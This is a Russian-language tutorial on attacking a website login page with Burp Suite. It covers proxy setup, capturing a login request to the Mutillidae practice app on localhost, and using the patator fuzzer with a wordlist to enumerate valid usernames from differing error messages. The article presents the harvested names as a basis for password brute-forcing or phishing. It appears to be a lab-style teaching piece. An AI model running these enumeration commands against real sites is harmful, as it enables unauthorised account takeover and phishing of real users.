Взлом сайта через BurpSuite
Вы узнаете, как взломать страницу авторизации сайта через BurpSuite
Всем салют, дорогие друзья!
В этой замечательной статье пойдёт речь об использовании BurpSuite для взлома сайта!
Начнём с того, что мы имеем:
- Установленный Burp Suite:
- Страница при вводе данных реального юзера, но с неправильным паролем, отображает ошибку, что неправильный пароль:
Это значит, что мы можем перебрать список юзеров (без перебора паролей), а далее этот список можно использовать для брутфорса паролей или фишинговых атак.
Первая настройка Burp Suite:
Proxy -> под-вкладка Options и смотрим на секцию Proxy Listeners. В столбце Interface должно быть 127.0.0.1:8080:
Если это не так, то нажмите кнопку Restore defaults слева от панели. Если слушатель ещё не запущен, то это означает, что Burp не смог открыть стандартный прокси-слушатель на порту. Нужно нажать Edit и изменить номер порта на другой.
Также нужно настроить браузер для использования прокси-слушателя, как HTTP прокси-сервер. Чтобы это сделать, нужно изменить настройки прокси вашего браузера (по умолчанию 127.0.0.1) и порт (по умолчанию 8080) для HTTP и HTTPS протоколов. В каждом браузере это делается по разному.
Проверяем:
С запущенным Burp Suite в браузере переходим по любой HTTP ссылке (пока не юзаем HTTPS). Браузер должен остановиться в ожидании завершения запроса. В Burp Suite перейдите в Proxy -> Intercept. Эти вкладки должны быть подсвечены и в главной панели должен быть виден HTTP-запрос. Кликаем на кнопку Intercept is on, после она должна измениться на Intercept is off. Возвращаемся в браузер и мы должны увидеть страницу, которую открываем.
Для работы с HTTPS:
Устанавливаем SSL-сертификат Burp Suite в доверенное хранилище браузера, чтобы он выступал в роли центра сертификации (Certificate Authority (CA)).
Атака:
Переходим в Proxy -> HTTP History -> Requests -> Raw
Делаем тестовый вход с рандомными значениями и получаем это:
POST /mutillidae/index.php?page=login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://localhost/mutillidae/index.php?page=login.php
Cookie: showhints=0; PHPSESSID=12ftdujsdf36cl0q0jmc2b8f12q5
Content-Type: application/x-www-form-urlencoded
username=TEST&password=PASSWORD&login-php-submit-button=Login
1.Данные передаются методом POST
2.Они передаются хосту localhost на страницу /mutillidae/index.php?page=login.php
3.Передаётся строка username=TEST&password=PASSWORD&login-php-submit-button=Login, в которой TEST – это юзер, а PASSWORD – пароль и все эти данные были введены нами для теста.
Теперь нам нужно указать программе для перебора паролей, что будет при вводе неправильных данных об имени пользователя:
Incorrect username!
Это потому что раннее мы уже убедились, что при вводе неправильных данных о пользователе, будет выведена ошибка с текстом Incorrect username!
switch(lAuthenticationAttemptResultFlag){
lMessage="Incorrect username!"; lAuthenticationFailed = "TRUE";
lMessage="Incorrect password!"; lAuthenticationFailed = "TRUE";
lMessage="No results found!"; lAuthenticationFailed = "TRUE";
case
cAUTHENTICATION_EXCEPTION_OCCURED:
lMessage="Exception occurred"; lAuthenticationFailed = "TRUE";
switch сообщает, в зависимости от значения lAuthenticationAttemptResultFlag выбирается один из случаев.
Сделаем поиск переменной lAuthenticationAttemptResultFlag. При несуществующем аккаунте.
Если аккаунт не существует, то в HTML-документе будет эта строка:
var
lAuthenticationAttemptResultFlag = 0;
Качаем словарь для перебора либо используем генератор.
Очищаем его от дублей этой командой:
cat passwords.txt | sort | uniq > newlist.txt
wget https://raw.githubusercontent.com/lanjelot/patator/master/patator.py
./patator.py http_fuzz url="localhost/mutillidae/index.php?page=login.php"
method=POST body='username=FILE0&password=password&login-php-submit-button=Login'
0=newlist.txt accept_cookie=1 -x ignore:fgrep='var lAuthenticationAttemptResultFlag = 0;'
Столбец Candidate содержит найденных пользователей.
На сегодня мы заканчиваем. Надеемся, что данная информация будет вам полезна.